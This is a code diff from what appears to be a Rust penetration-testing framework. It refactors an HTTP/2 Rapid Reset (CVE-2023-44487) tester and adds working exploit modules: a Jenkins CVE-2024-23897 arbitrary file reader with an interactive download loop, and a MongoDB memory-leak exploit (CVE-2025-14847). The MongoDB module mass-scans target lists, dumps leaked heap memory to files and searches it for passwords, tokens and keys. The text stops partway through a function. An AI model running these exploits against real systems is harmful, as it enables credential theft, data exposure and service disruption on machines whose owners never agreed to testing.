println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
break;
}
}
@@ -147,11 +250,15 @@ async fn baseline_test(
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!("{}", "[+] Baseline Results:".green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
@@ -167,7 +274,7 @@ async fn rapid_reset_test(
) -> Result<()> {
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
let host_normalized = normalize_host(host);
let host_normalized = normalize_host_for_socket(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
@@ -175,21 +282,34 @@ async fn rapid_reset_test(
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
.await
.context("Connection timeout")?
.context("Failed to connect")?;
let scheme = if use_ssl { "https" } else { "http" };
// Format host for URI (add brackets for IPv6)
let uri_host = if host.contains(':') && !host.starts_with('[') {
format!("[{}]", host)
} else {
host.to_string()
};
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let connector = create_tls_connector();
let server_name = ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name: {}", host))?
.to_owned();
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
.await
.context("TLS handshake timeout")?
.context("TLS handshake failed")?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
@@ -205,15 +325,15 @@ async fn rapid_reset_test(
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
.context("Failed to build request")?;
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
if delay_ms > 0 && i < num_streams - 1 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
@@ -230,15 +350,18 @@ async fn rapid_reset_test(
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let total_streams = created_streams.len();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
// Send RST_STREAM
send_stream.send_reset(Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
if reset_delay > 0 && idx < total_streams - 1 {
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
}
}
@@ -255,18 +378,7 @@ async fn rapid_reset_test(
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
print_vulnerability_analysis(reset_rate);
// Cleanup
drop(sender);
@@ -274,7 +386,8 @@ async fn rapid_reset_test(
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
@@ -290,15 +403,15 @@ async fn rapid_reset_test(
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
.context("Failed to build request")?;
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
if delay_ms > 0 && i < num_streams - 1 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
@@ -315,15 +428,18 @@ async fn rapid_reset_test(
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let total_streams = created_streams.len();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
// Send RST_STREAM
send_stream.send_reset(Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
if reset_delay > 0 && idx < total_streams - 1 {
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
}
}
@@ -340,18 +456,7 @@ async fn rapid_reset_test(
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
print_vulnerability_analysis(reset_rate);
// Cleanup
drop(sender);
@@ -361,53 +466,43 @@ async fn rapid_reset_test(
Ok(())
}
/// Print vulnerability analysis based on reset rate
fn print_vulnerability_analysis(reset_rate: f64) {
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
// Parse target (could be host:port or just host)
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
let h = &target[..colon_pos];
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
(h.to_string(), p)
} else {
(target.to_string(), 443)
};
// Parse and validate target using utils.rs normalize_target
let (host, default_port) = parse_target(target)?;
println!("{}", format!("[*] Target: {}:{}", host, default_port).cyan());
// Interactive prompts
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let mut ssl_input = String::new();
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut ssl_input)?;
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
let mut streams_input = String::new();
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut streams_input)?;
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
let mut delay_input = String::new();
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut delay_input)?;
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
let mut baseline_input = String::new();
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut baseline_input)?;
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
// Interactive prompts using shared utilities
let port = prompt_int_range("Target port", default_port as i64, 1, 65535)? as u16;
let use_ssl = prompt_yes_no("Use SSL/TLS?", true)?;
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000)? as usize;
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000)? as u64;
let run_baseline = prompt_yes_no("Run baseline test first?", true)?;
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
println!("{}", format!("Streams: {}", num_streams).yellow());
println!("{}", format!("Delay: {}ms", delay_ms).yellow());
println!("{}", "=".repeat(60).cyan());
// Legal disclaimer
@@ -416,12 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
let mut confirm = String::new();
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut confirm)?;
if !confirm.trim().to_lowercase().starts_with('y') {
if !prompt_yes_no("Do you have permission to test this system?", false)? {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
@@ -442,4 +532,3 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
@@ -0,0 +1,306 @@
//! Jenkins 2.441 Local File Inclusion (LFI) Exploit
//!
//! CVE-2024-23897 / Jenkins Security Advisory 2024-01-24
//!
//! This module exploits a local file inclusion vulnerability in Jenkins CLI
//! that allows reading arbitrary files from the Jenkins server filesystem.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2024-23897
//! - **Affected Versions**: Jenkins 2.441 and earlier
//! - **Attack Vector**: CLI command argument injection
//! - **Impact**: Arbitrary file read, potential information disclosure
//!
//! ## Usage
//! ```bash
//! run exploit jenkins/jenkins_2_441_lfi <url> [filepath]
//! ```
//!
//! If no filepath is provided, an interactive mode is started.
//!
//! ## Security Notes
//! - All file paths are validated to prevent path traversal attacks
//! - Input is sanitized to prevent null bytes and excessive length
//! - Proper error handling prevents crashes
//!
//! For authorized penetration testing only.
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
use std::io::{Write, BufRead};
use crate::utils::normalize_target;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Result<Self> {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.context("Failed to create HTTP client")?;
Ok(Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
})
}
async fn listen_and_print(&self) -> Result<()> {
let url = format!("{}?remoting=false", self.url);
let response = self.client
.post(&url)
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
// Compile regex once and handle errors properly
if let Ok(re) = Regex::new(r#"No such agent "(.*)" exists."#) {
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
let url = format!("{}?remoting=false", self.url);
self.client
.post(&url)
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
return Err(e);
}
loop {
let listening = *self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))?;
if !listening {
break;
}
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
/// Validates and normalizes file path, preventing path traversal attacks
fn make_path_absolute(filepath: &str) -> Result<String> {
let trimmed = filepath.trim();
// Basic validation - prevent obvious path traversal
if trimmed.contains("..") {
return Err(anyhow::anyhow!("Path traversal detected in file path"));
}
// Limit path length to prevent DoS
if trimmed.len() > 4096 {
return Err(anyhow::anyhow!("File path too long (max 4096 characters)"));
}
// Remove null bytes
if trimmed.contains('\0') {
return Err(anyhow::anyhow!("Null bytes not allowed in file path"));
}
if trimmed.starts_with('/') {
Ok(trimmed.to_string())
} else {
Ok(format!("/proc/self/cwd/{}", trimmed))
}
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let normalized_base = normalize_target(parts[0])?;
let url = format!("{}/cli", normalized_base.trim_end_matches('/'));
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier)
.context("Failed to initialize exploit state")?;
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path)
.context("Invalid file path provided")?;
println!("{}", format!("[*] Reading file: {}", &absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
let stdin = std::io::stdin();
loop {
print!("{}", "File to download:\n> ".green().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
{
let mut stdin_reader = stdin.lock();
match stdin_reader.read_line(&mut input) {
Ok(0) => break,
Ok(_) => {},
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = match make_path_absolute(filepath) {
Ok(path) => path,
Err(e) => {
println!("{}", format!("[-] Invalid file path: {}", e).red());
continue;
}
};
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Ok(())
}
@@ -0,0 +1 @@
pub mod jenkins_2_441_lfi;
+7
View File
@@ -0,0 +1,7 @@
pub mod apache_tomcat;
pub mod nginx;
pub mod php;
pub mod jenkins;
pub mod exim;
pub mod mongo;
pub mod http2;
@@ -0,0 +1 @@
pub mod mongobleed;
@@ -0,0 +1,640 @@
//! MongoBleed Exploit (CVE-2025-14847)
//!
//! Exploits a zlib decompression bug in MongoDB Server to leak uninitialized
//! heap memory via BSON field names.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2025-14847 (CVSS: 8.7 Critical)
//! - **Affected**: MongoDB Server v7.0 < 7.0.28, v8.0 < 8.0.17, v8.2
//! - **Attack Vector**: Pre-authentication memory disclosure
//! - **Impact**: Credential theft, session token leakage, data exfiltration
//!
//! ## How It Works
//! MongoDB miscalculates decompression lengths when processing malformed
//! zlib-compressed messages. This causes the server to return uninitialized
//! memory in its responses, similar to "Heartbleed" in OpenSSL.
//!
//! ## References
//! - Original PoC: https://github.com/joe-desimone/mongobleed
//! - MongoDB Advisory: https://www.mongodb.com/docs/manual/release-notes/
//!
//! For authorized penetration testing only.
use anyhow::{Context, Result};
use colored::*;
use flate2::write::ZlibEncoder;
use flate2::Compression;
use regex::bytes::Regex;
use std::collections::HashSet;
use std::fs::File;
use std::io::{Read, Write};
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::{timeout, Duration};
use crate::utils::{normalize_target, prompt_default, prompt_int_range, prompt_yes_no};
const DEFAULT_PORT: u16 = 27017;
const DEFAULT_MIN_OFFSET: u32 = 20;
const DEFAULT_MAX_OFFSET: u32 = 8192;
const DEEP_SCAN_MAX_OFFSET: u32 = 50000;
const CONNECT_TIMEOUT_SECS: u64 = 3;
const READ_TIMEOUT_SECS: u64 = 2;
const MAX_CONCURRENT_SCANS: usize = 10;
/// Display module banner
fn display_banner() {
println!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
println!(
"{}",
"║ MongoBleed (CVE-2025-14847) ║".cyan()
);
println!(
"{}",
"║ MongoDB Memory Disclosure - Pre-Auth Exploitation ║".cyan()
);
println!(
"{}",
"║ CVSS: 8.7 (Critical) - Active Exploitation in Wild ║".cyan()
);
println!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
}
/// Scan mode selection
#[derive(Clone, Copy, PartialEq)]
enum ScanMode {
VulnCheck, // Quick check if vulnerable
QuickScan, // Fast scan with default offsets
DeepScan, // Extended scan for more data
CustomScan, // User-defined offset range
}
/// Configuration for the exploit
struct ExploitConfig {
min_offset: u32,
max_offset: u32,
port: u16,
mode: ScanMode,
output_file: String,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
min_offset: DEFAULT_MIN_OFFSET,
max_offset: DEFAULT_MAX_OFFSET,
port: DEFAULT_PORT,
mode: ScanMode::QuickScan,
output_file: "leaked_mongo_data.bin".to_string(),
}
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Check if target is a file (mass scan mode)
if target.ends_with(".txt") {
return run_mass_scan(target).await;
}
// Normalize and parse target
let normalized = normalize_target(target)?;
// Prompt for configuration
let config = prompt_config().await?;
// Build target address
let target_addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, config.port)
};
println!();
println!("{}", format!("[*] Target address: {}", target_addr).cyan());
println!(
"{}",
format!(
"[*] Offset range: {} - {}",
config.min_offset, config.max_offset
)
.cyan()
);
// Run the exploit
match config.mode {
ScanMode::VulnCheck => run_vuln_check(&target_addr).await,
_ => run_exploit(&target_addr, &config).await,
}
}
/// Prompt user for configuration
async fn prompt_config() -> Result<ExploitConfig> {
let mut config = ExploitConfig::default();
println!("{}", "[*] Select scan mode:".cyan());
println!(" {} Quick vulnerability check (fast)", "1.".bold());
println!(" {} Quick scan (offsets 20-8192)", "2.".bold());
println!(" {} Deep scan (offsets 20-50000, slower)", "3.".bold());
println!(" {} Custom range", "4.".bold());
println!();
let choice = prompt_int_range("Select option", 2, 1, 4)?;
config.mode = match choice {
1 => ScanMode::VulnCheck,
2 => ScanMode::QuickScan,
3 => {
config.max_offset = DEEP_SCAN_MAX_OFFSET;
ScanMode::DeepScan
}
4 => {
config.min_offset = prompt_int_range("Min offset", DEFAULT_MIN_OFFSET as i64, 1, 65535)? as u32;
config.max_offset = prompt_int_range("Max offset", DEFAULT_MAX_OFFSET as i64, config.min_offset as i64, 100000)? as u32;
ScanMode::CustomScan
}
_ => ScanMode::QuickScan,
};
// Port configuration
let port_str = prompt_default("MongoDB port", "27017")?;
config.port = port_str.parse().unwrap_or(DEFAULT_PORT);
// Output file
config.output_file = prompt_default("Output file", "leaked_mongo_data.bin")?;
Ok(config)
}
/// Quick vulnerability check
async fn run_vuln_check(target_addr: &str) -> Result<()> {
println!();
println!("{}", "[*] Running quick vulnerability check...".cyan());
// Test a few offsets to see if we get memory leaks
let test_offsets = [100, 500, 1000, 2000];
let mut vulnerable = false;
for &offset in &test_offsets {
match send_probe(target_addr, offset, offset + 500).await {
Ok(leaks) => {
if !leaks.is_empty() {
vulnerable = true;
println!(
"{}",
format!("[+] Leak detected at offset {}: {} bytes", offset, leaks.iter().map(|l| l.len()).sum::<usize>())
.green()
.bold()
);
break;
}
}
Err(e) => {
println!("{}", format!("[-] Connection error: {}", e).red());
return Ok(());
}
}
}
println!();
if vulnerable {
println!(
"{}",
"[VULNERABLE] Target appears vulnerable to CVE-2025-14847!"
.red()
.bold()
);
println!(
"{}",
"[*] Run a full scan to extract memory data.".yellow()
);
} else {
println!(
"{}",
"[NOT VULNERABLE] No memory leaks detected.".green()
);
println!(
"{}",
"[*] Target may be patched or not a MongoDB server.".dimmed()
);
}
Ok(())
}
/// Run full exploit with memory extraction
async fn run_exploit(target_addr: &str, config: &ExploitConfig) -> Result<()> {
println!();
println!(
"{}",
format!(
"[*] Starting scan (offsets {}-{})...",
config.min_offset, config.max_offset
)
.cyan()
);
let mut all_leaked = Vec::new();
let mut unique_leaks: HashSet<Vec<u8>> = HashSet::new();
let total_offsets = config.max_offset - config.min_offset;
let mut last_progress = 0;
// Secrets to search for
let secrets = [
"password", "secret", "key", "token", "admin", "AKIA", "root",
"auth", "credential", "apikey", "api_key", "session",
];
let mut found_secrets: HashSet<String> = HashSet::new();
for doc_len in config.min_offset..config.max_offset {
// Progress indicator (every 5%)
let progress = ((doc_len - config.min_offset) * 100 / total_offsets) as usize;
if progress >= last_progress + 5 {
last_progress = progress;
print!("\r{}", format!("[*] Progress: {}%", progress).cyan());
std::io::stdout().flush().ok();
}
match send_probe(target_addr, doc_len, doc_len + 500).await {
Ok(leaks) => {
for data in leaks {
if !unique_leaks.contains(&data) {
unique_leaks.insert(data.clone());
all_leaked.extend_from_slice(&data);
// Check for secrets
let data_str = String::from_utf8_lossy(&data).to_lowercase();
for s in &secrets {
if data_str.contains(s) && !found_secrets.contains(*s) {
found_secrets.insert(s.to_string());
}
}
// Show interesting leaks (> 10 bytes)
if data.len() > 10 {
let preview = String::from_utf8_lossy(&data).replace('\n', "\\n");
let preview_trunk: String = preview.chars().take(80).collect();
println!(
"\r{}",
format!(
"[+] offset={:5} len={:4}: {}",
doc_len,
data.len(),
preview_trunk
)
.magenta()
);
}
}
}
}
Err(_) => {
// Connection errors are common during exploitation, continue
}
}
}
println!("\r{}", " ".repeat(40)); // Clear progress line
// Save results
let mut f = File::create(&config.output_file).context("Failed to create output file")?;
f.write_all(&all_leaked)?;
// Print summary
println!();
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!("{}", " SCAN RESULTS ".cyan().bold());
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!(
"{}",
format!("[*] Total leaked: {} bytes", all_leaked.len()).yellow()
);
println!(
"{}",
format!("[*] Unique fragments: {}", unique_leaks.len()).yellow()
);
println!(
"{}",
format!("[*] Saved to: {}", config.output_file).green()
);
// Show found secrets
if !found_secrets.is_empty() {
println!();
println!("{}", "[!] SENSITIVE PATTERNS FOUND:".red().bold());
for s in &found_secrets {
println!("{}", format!("{}", s).red());
}
println!(
"{}",
"[!] Manual review of leaked data recommended!".yellow()
);
}
// Recommendations
println!();
println!("{}", "[*] Recommendations:".cyan());
println!(" • Review leaked.bin for credentials");
println!(" • Search for: strings leaked_mongo_data.bin | grep -i password");
println!(" • Rotate any exposed credentials immediately");
Ok(())
}
/// Mass scan mode - scan multiple targets from file
async fn run_mass_scan(file_path: &str) -> Result<()> {
println!();
println!("{}", format!("[*] Mass scan mode: {}", file_path).cyan());
// Read targets from file
let content = match tokio::fs::read_to_string(file_path).await {
Ok(c) => c,
Err(e) => {
eprintln!("{}", format!("[!] Failed to read file: {}", e).red());
return Ok(());
}
};
let targets: Vec<String> = content
.lines()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty() && !s.starts_with('#'))
.collect();
if targets.is_empty() {
println!("{}", "[-] No targets found in file".red());
return Ok(());
}
println!(
"{}",
format!("[*] Loaded {} targets", targets.len()).yellow()
);
let deep_scan = prompt_yes_no("Run deep scan on vulnerable targets?", false)?;
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
let vulnerable_count = Arc::new(AtomicUsize::new(0));
let scanned_count = Arc::new(AtomicUsize::new(0));
let total = targets.len();
let mut handles = Vec::new();
for target in targets {
let permit = semaphore.clone().acquire_owned().await?;
let vuln_count = vulnerable_count.clone();
let scan_count = scanned_count.clone();
let handle = tokio::spawn(async move {
let _permit = permit;
// Normalize target
let target_addr = if target.contains(':') {
target.clone()
} else {
format!("{}:{}", target, DEFAULT_PORT)
};
// Quick vuln check
let mut is_vulnerable = false;
for offset in [100, 500, 1000] {
if let Ok(leaks) = send_probe(&target_addr, offset, offset + 500).await {
if !leaks.is_empty() {
is_vulnerable = true;
break;
}
}
}
scan_count.fetch_add(1, Ordering::SeqCst);
let progress = scan_count.load(Ordering::SeqCst);
if is_vulnerable {
vuln_count.fetch_add(1, Ordering::SeqCst);
println!(
"{}",
format!("[VULN] {} - CVE-2025-14847", target_addr)
.red()
.bold()
);
} else {
println!(
"{}",
format!("[SAFE] {} ({}/{})", target_addr, progress, total).dimmed()
);
}
(target_addr, is_vulnerable)
});
handles.push(handle);
}
// Wait for all scans
let mut vulnerable_targets = Vec::new();
for handle in handles {
if let Ok((addr, vuln)) = handle.await {
if vuln {
vulnerable_targets.push(addr);
}
}
}
// Summary
println!();
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!(
"{}",
format!(
"[*] Scan complete: {}/{} vulnerable",
vulnerable_count.load(Ordering::SeqCst),
total
)
.yellow()
);
// Save vulnerable targets
if !vulnerable_targets.is_empty() {
let output = "vulnerable_mongodb.txt";
let mut f = File::create(output)?;
for t in &vulnerable_targets {
writeln!(f, "{}", t)?;
}
println!(
"{}",
format!("[*] Vulnerable targets saved to: {}", output).green()
);
// Deep scan if requested
if deep_scan {
println!();
println!("{}", "[*] Running deep scan on vulnerable targets...".cyan());
for target in vulnerable_targets {
let config = ExploitConfig {
min_offset: DEFAULT_MIN_OFFSET,
max_offset: DEEP_SCAN_MAX_OFFSET,
port: DEFAULT_PORT,
mode: ScanMode::DeepScan,
output_file: format!("leaked_{}.bin", target.replace(':', "_")),
};
println!();
println!("{}", format!("[*] Deep scanning: {}", target).yellow());
let _ = run_exploit(&target, &config).await;
}
}
}
Ok(())
}
/// Send a probe packet and extract leaks
async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Vec<u8>>> {
// 1. Construct the malicious BSON payload
// content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
let content = b"\x10a\x00\x01\x00\x00\x00";
let mut bson = Vec::new();
bson.extend_from_slice(&doc_len.to_le_bytes()); // inflated doc_len
bson.extend_from_slice(content);
// 2. Wrap in OP_MSG (Code 2013)
let mut op_msg = Vec::new();
op_msg.extend_from_slice(&0u32.to_le_bytes()); // flagBits
op_msg.push(0x00); // sectionKind
op_msg.extend_from_slice(&bson);
// 3. Compress using zlib
let mut encoder = ZlibEncoder::new(Vec::new(), Compression::default());
encoder.write_all(&op_msg)?;
let compressed = encoder.finish()?;
// 4. Create OP_COMPRESSED (Code 2012) payload
let mut payload = Vec::new();
payload.extend_from_slice(&2013u32.to_le_bytes()); // originalOpcode
payload.extend_from_slice(&buffer_size.to_le_bytes()); // uncompressedSize
payload.push(2); // zlib ID
payload.extend_from_slice(&compressed);
// 5. Create Header
let msg_length = 16 + payload.len() as u32;
let mut header = Vec::new();
header.extend_from_slice(&msg_length.to_le_bytes());
header.extend_from_slice(&1u32.to_le_bytes()); // requestID
header.extend_from_slice(&0u32.to_le_bytes()); // responseTo
header.extend_from_slice(&2012u32.to_le_bytes()); // opCode (OP_COMPRESSED)
